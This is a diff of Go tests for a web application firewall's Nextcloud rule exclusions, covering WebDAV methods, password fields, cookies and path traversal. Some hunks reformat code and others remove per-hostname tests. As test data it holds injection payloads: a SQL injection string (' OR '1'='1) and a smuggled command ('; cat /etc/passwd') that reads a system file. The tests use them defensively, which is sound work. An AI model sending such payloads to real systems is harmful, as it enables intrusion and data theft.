@@ -450,5 +441,3 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
|
|||||||
SecRule REQUEST_METHOD "@streq MKCOL" \
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
||||||
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||||
ctl:ruleRemoveTargetById=932230;XML:/*"
|
ctl:ruleRemoveTargetById=932230;XML:/*"
|
||||||
|
|
||||||
SecMarker END_NEXTCLOUD
|
|
||||||
@@ -51,95 +51,6 @@ const (
|
|||||||
// nextcloudOther is a JSON field no exclusion names.
|
// nextcloudOther is a JSON field no exclusion names.
|
||||||
const nextcloudOther = `{"other":"python3"}`
|
const nextcloudOther = `{"other":"python3"}`
|
||||||
|
|
||||||
// nextcloud is Nextcloud's name in SWW_APPS.
|
|
||||||
const nextcloud = "nextcloud"
|
|
||||||
|
|
||||||
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {nextcloud},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Nextcloud's fixes let through.
|
|
||||||
search := get(nextcloudUsers + "?search=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {nextcloud},
|
|
||||||
})
|
|
||||||
|
|
||||||
// Listing a folder, as the sync client does.
|
|
||||||
list := request{nextcloudPropFind, nextcloudFiles, nil}
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
|
|
||||||
|
|
||||||
// Making a calendar, as a CalDAV client does.
|
|
||||||
calendar := request{
|
|
||||||
nextcloudMkcalendar,
|
|
||||||
nextcloudCalendars + "work/",
|
|
||||||
nil,
|
|
||||||
}
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
Apps: map[string][]string{
|
|
||||||
giteaHost: {gitea},
|
|
||||||
otherHost: {nextcloud},
|
|
||||||
},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A password that only the phase 2 rule 900127 lets through.
|
|
||||||
r := request{
|
|
||||||
http.MethodPut,
|
|
||||||
nextcloudUsers + "/alice",
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
body := "key=password&value=" + url.QueryEscape("' OR '1'='1")
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
|
||||||
if got.Score >= nextcloudThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"PUT %s %s on %s refused: %+v",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
otherHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
|
||||||
if got.Score < nextcloudThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"PUT %s %s on %s let through: %+v",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
giteaHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||||
// and 932260, each on a path where it skips them, ending in "=".
|
// and 932260, each on a path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
@@ -196,12 +107,7 @@ var nextcloudBodies = []nextcloudBody{
|
|||||||
http.MethodPut, nextcloudUsers + "/admin",
|
http.MethodPut, nextcloudUsers + "/admin",
|
||||||
jsonBody, `{"key":"headline","value":"%s"}`,
|
jsonBody, `{"key":"headline","value":"%s"}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
||||||
http.MethodPost,
|
|
||||||
"/ocs/v2.php/cloud/groups",
|
|
||||||
jsonBody,
|
|
||||||
`{"groupid":"%s"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
||||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
||||||
@@ -209,42 +115,17 @@ var nextcloudBodies = []nextcloudBody{
|
|||||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
||||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
||||||
nextcloudSave,
|
|
||||||
jsonBody,
|
|
||||||
`{"filePath":"/%s/Readme.md"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/remote.php/dav/systemtags/",
|
|
||||||
jsonBody,
|
|
||||||
`{"name":"%s"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
||||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
||||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||||
},
|
},
|
||||||
{
|
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
|
||||||
nextcloudMkcol,
|
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
|
||||||
nextcloudCalendars + "work",
|
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
|
||||||
xmlBody,
|
|
||||||
nextcloudNewCollection,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
nextcloudMkcol,
|
|
||||||
nextcloudAddressBooks + "team",
|
|
||||||
xmlBody,
|
|
||||||
nextcloudNewCollection,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
nextcloudMkcalendar,
|
|
||||||
nextcloudCalendars + "work/",
|
|
||||||
xmlBody,
|
|
||||||
nextcloudNewCalendar,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The WebDAV methods that make a calendar or an address book.
|
// The WebDAV methods that make a calendar or an address book.
|
||||||
@@ -306,12 +187,7 @@ var nextcloudDocument = nextcloudBody{
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var nextcloudTexts = []nextcloudBody{
|
var nextcloudTexts = []nextcloudBody{
|
||||||
nextcloudDocument,
|
nextcloudDocument,
|
||||||
{
|
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
||||||
http.MethodPost,
|
|
||||||
"/remote.php/dav/comments/files/1",
|
|
||||||
jsonBody,
|
|
||||||
`{"message":"%s"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
||||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
||||||
@@ -319,12 +195,7 @@ var nextcloudTexts = []nextcloudBody{
|
|||||||
`</d:propertyupdate>`,
|
`</d:propertyupdate>`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
||||||
{
|
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
|
||||||
http.MethodPost,
|
|
||||||
nextcloudShares,
|
|
||||||
jsonBody,
|
|
||||||
`{"path":"/Notes","note":"%s"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
||||||
formData, "note=%s",
|
formData, "note=%s",
|
||||||
@@ -352,10 +223,7 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
|
|||||||
// nextcloudBodyScore returns the request that sends value, which is not
|
// nextcloudBodyScore returns the request that sends value, which is not
|
||||||
// escaped, in sent's body, and the score crs gives it.
|
// escaped, in sent's body, and the score crs gives it.
|
||||||
func nextcloudBodyScore(
|
func nextcloudBodyScore(
|
||||||
t *testing.T,
|
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
|
||||||
crs *coreruleset.CoreRuleSet,
|
|
||||||
sent nextcloudBody,
|
|
||||||
value string,
|
|
||||||
) (string, int) {
|
) (string, int) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -390,11 +258,7 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
|
|||||||
scores := map[string]int{}
|
scores := map[string]int{}
|
||||||
|
|
||||||
for _, target := range nextcloudQueryFields {
|
for _, target := range nextcloudQueryFields {
|
||||||
scores["GET "+target+value] = inspect(
|
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
get(target+value),
|
|
||||||
).Score
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range nextcloudFormFields {
|
for _, sent := range nextcloudFormFields {
|
||||||
@@ -486,23 +350,11 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
|||||||
{"/apps/user_ldap/renewpassword", formData, change},
|
{"/apps/user_ldap/renewpassword", formData, change},
|
||||||
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
||||||
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||||
{
|
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||||
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
|
|
||||||
formData,
|
|
||||||
change,
|
|
||||||
},
|
|
||||||
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||||
{
|
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||||
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
|
|
||||||
formData,
|
|
||||||
recovery,
|
|
||||||
},
|
|
||||||
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||||
{
|
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||||
"/index.php/apps/encryption/ajax/adminRecovery",
|
|
||||||
formData,
|
|
||||||
adminRecovery,
|
|
||||||
},
|
|
||||||
{"/login/confirm", jsonBody, password},
|
{"/login/confirm", jsonBody, password},
|
||||||
{"/index.php/login/confirm", formData, password},
|
{"/index.php/login/confirm", formData, password},
|
||||||
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
||||||
@@ -557,12 +409,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
|||||||
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
||||||
} {
|
} {
|
||||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
|
||||||
"%s %.40s refused: %+v",
|
|
||||||
sent.r.headers[0],
|
|
||||||
sent.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -577,12 +424,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
|||||||
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
||||||
} {
|
} {
|
||||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
|
||||||
"%s %.40s let through: %+v",
|
|
||||||
sent.r.headers[0],
|
|
||||||
sent.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -610,12 +452,7 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
|||||||
|
|
||||||
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(
|
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
|
||||||
t,
|
|
||||||
readingBodies(t),
|
|
||||||
nextcloudDocument,
|
|
||||||
document,
|
|
||||||
)
|
|
||||||
if score >= nextcloudThreshold {
|
if score >= nextcloudThreshold {
|
||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -662,10 +499,7 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
|||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
cookie := func(value string) request {
|
cookie := func(value string) request {
|
||||||
return get(
|
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
||||||
"/apps/files/",
|
|
||||||
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, value := range hardValues {
|
for _, value := range hardValues {
|
||||||
@@ -722,40 +556,20 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
|||||||
|
|
||||||
// MKCALENDAR only where the calendars are.
|
// MKCALENDAR only where the calendars are.
|
||||||
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
||||||
wantResult(
|
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
request{nextcloudMkcalendar, target, nil},
|
|
||||||
matched(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
||||||
"/x/remote.php/dav/calendars/",
|
"/x/remote.php/dav/calendars/",
|
||||||
} {
|
} {
|
||||||
wantResult(
|
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
request{nextcloudMkcalendar, target, nil},
|
|
||||||
matched(911100),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
||||||
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
||||||
wantResult(
|
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
|
||||||
t,
|
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
|
||||||
crs,
|
|
||||||
request{nextcloudPropFind, target, nil},
|
|
||||||
matched(),
|
|
||||||
)
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
request{nextcloudMkcol, target, nil},
|
|
||||||
matched(911100),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
||||||
@@ -789,12 +603,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
sent := described.sent
|
sent := described.sent
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(
|
request, score := nextcloudBodyScore(t, crs, sent, described.description)
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
sent,
|
|
||||||
described.description,
|
|
||||||
)
|
|
||||||
if score >= nextcloudThreshold {
|
if score >= nextcloudThreshold {
|
||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -816,12 +625,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
// An MKCOL on the calendars' paths skips only the rules for names.
|
// An MKCOL on the calendars' paths skips only the rules for names.
|
||||||
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
||||||
|
|
||||||
request, score = nextcloudBodyScore(
|
request, score = nextcloudBodyScore(t, crs, sent, described.description)
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
sent,
|
|
||||||
described.description,
|
|
||||||
)
|
|
||||||
if score < nextcloudThreshold {
|
if score < nextcloudThreshold {
|
||||||
t.Errorf("%s let through: %d", request, score)
|
t.Errorf("%s let through: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -857,10 +661,7 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
|
|||||||
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
if got := inspect(t, crs, refused); !slices.Contains(
|
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
|
||||||
got.RuleIDs,
|
|
||||||
920530,
|
|
||||||
) {
|
|
||||||
t.Errorf("%s %s %q let through: %+v",
|
t.Errorf("%s %s %q let through: %+v",
|
||||||
refused.method, refused.target, refused.headers, got)
|
refused.method, refused.target, refused.headers, got)
|
||||||
}
|
}
|
||||||
@@ -901,12 +702,7 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
got, _ := inspectBody(t, crs, refused, upload.body)
|
got, _ := inspectBody(t, crs, refused, upload.body)
|
||||||
if got.Score < nextcloudThreshold {
|
if got.Score < nextcloudThreshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
|
||||||
"%s %s let through: %+v",
|
|
||||||
refused.method,
|
|
||||||
refused.target,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -917,13 +713,7 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
methods := []string{
|
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
|
||||||
http.MethodGet,
|
|
||||||
http.MethodPut,
|
|
||||||
nextcloudPropFind,
|
|
||||||
"MOVE",
|
|
||||||
"LOCK",
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, method := range methods {
|
for _, method := range methods {
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
@@ -1011,13 +801,7 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.body)
|
got, _ := inspectBody(t, crs, r, sent.body)
|
||||||
if got.Score < nextcloudThreshold {
|
if got.Score < nextcloudThreshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
||||||
"%s %s %s let through: %+v",
|
|
||||||
sent.method,
|
|
||||||
sent.target,
|
|
||||||
sent.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -13,13 +13,8 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// appsUnset labels the checks made while SWW_APPS is unset.
|
|
||||||
const appsUnset = "SWW_APPS unset"
|
|
||||||
|
|
||||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||||
// Each has the Referer of a page that names the same, as a page opened
|
// Each has the Referer of a page that names the same, as a page opened
|
||||||
// from it has.
|
// from it has.
|
||||||
@@ -52,31 +47,16 @@ func giteaRequests(t *testing.T) []request {
|
|||||||
return requests
|
return requests
|
||||||
}
|
}
|
||||||
|
|
||||||
// TestOrdinaryGiteaRequestsPass checks gitea's recorded requests with
|
|
||||||
// SWW_APPS unset, and on giteaHost while SWW_APPS lists only gitea for it.
|
|
||||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
requests := giteaRequests(t)
|
crs := atDefaults(t)
|
||||||
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
|
||||||
|
|
||||||
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
for _, r := range giteaRequests(t) {
|
||||||
appsUnset: atDefaults(t),
|
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||||
"SWW_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly),
|
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||||
} {
|
|
||||||
for _, r := range requests {
|
|
||||||
got := inspect(t, crs, withHost(r, giteaHost))
|
|
||||||
if got.Score >= threshold {
|
|
||||||
t.Errorf(
|
|
||||||
"%s: %s %q refused: %+v",
|
|
||||||
apps,
|
|
||||||
r.target,
|
|
||||||
r.headers[1:],
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -122,169 +102,79 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
// requests in the file name in testdata is refused: with SWW_APPS unset, and
|
// requests in the file name in testdata is refused, at the defaults and
|
||||||
// on the hostname where they were recorded, otherHost for WordPress and
|
// while bodies are read. A request with neither a body nor a Content-Type
|
||||||
// example.com for the other apps, while SWW_APPS lists only app for it. Both
|
// header is checked only at the defaults: with neither, the set that reads
|
||||||
// times, they are checked at the defaults and while bodies are read. A
|
// bodies has nothing more to check. Each request runs as its own parallel
|
||||||
// request with neither a body nor a Content-Type header is checked only at
|
// subtest.
|
||||||
// the defaults: with neither, the set that reads bodies has nothing more to
|
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||||
// check. Each request runs as its own parallel subtest for each setting of
|
|
||||||
// SWW_APPS.
|
|
||||||
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
requests := recordedRequests(t, name)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
for setting, apps := range map[string]map[string][]string{
|
for _, recorded := range recordedRequests(t, name) {
|
||||||
appsUnset: nil,
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||||
"SWW_APPS lists only " + app: {"example.com": {app}, otherHost: {app}},
|
|
||||||
} {
|
|
||||||
defaults := servingApps(t, apps)
|
|
||||||
bodies := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
|
||||||
BodyLimit: bodyLimit, Apps: apps,
|
|
||||||
})
|
|
||||||
|
|
||||||
for _, recorded := range requests {
|
|
||||||
t.Run(
|
|
||||||
setting+": "+recorded.Method+" "+recorded.Target,
|
|
||||||
func(t *testing.T) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
r := request{
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||||
recorded.Method,
|
|
||||||
recorded.Target,
|
|
||||||
recorded.Headers,
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||||
if got.Score >= threshold {
|
if got.Score >= threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||||
"%s %s refused: %+v",
|
|
||||||
r.method,
|
|
||||||
r.target,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
typed := slices.ContainsFunc(
|
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||||
recorded.Headers,
|
|
||||||
func(header string) bool {
|
|
||||||
name, _, _ := strings.Cut(header, ":")
|
name, _, _ := strings.Cut(header, ":")
|
||||||
|
|
||||||
return strings.EqualFold(name, "Content-Type")
|
return strings.EqualFold(name, "Content-Type")
|
||||||
},
|
})
|
||||||
)
|
|
||||||
if recorded.Body == "" && !typed {
|
if recorded.Body == "" && !typed {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||||
if got.Score >= threshold {
|
if got.Score >= threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||||
"%s %s %.200q refused while bodies are read: %+v",
|
r.method, r.target, recorded.Body, got)
|
||||||
r.method,
|
|
||||||
r.target,
|
|
||||||
recorded.Body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
|
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||||
}
|
|
||||||
|
|
||||||
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
|
||||||
// defaults only: with SWW_APPS unset, and on example.com, where they were
|
|
||||||
// recorded, while SWW_APPS lists only forgejo for it. While bodies are read,
|
|
||||||
// the Core Rule Set still refuses a new wiki page whose title and text name
|
|
||||||
// commands and files, as it does such text in gitea's comments
|
|
||||||
// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
|
|
||||||
// branch in a body are checked while bodies are read in
|
|
||||||
// TestForgejoNamesInBodiesPass.
|
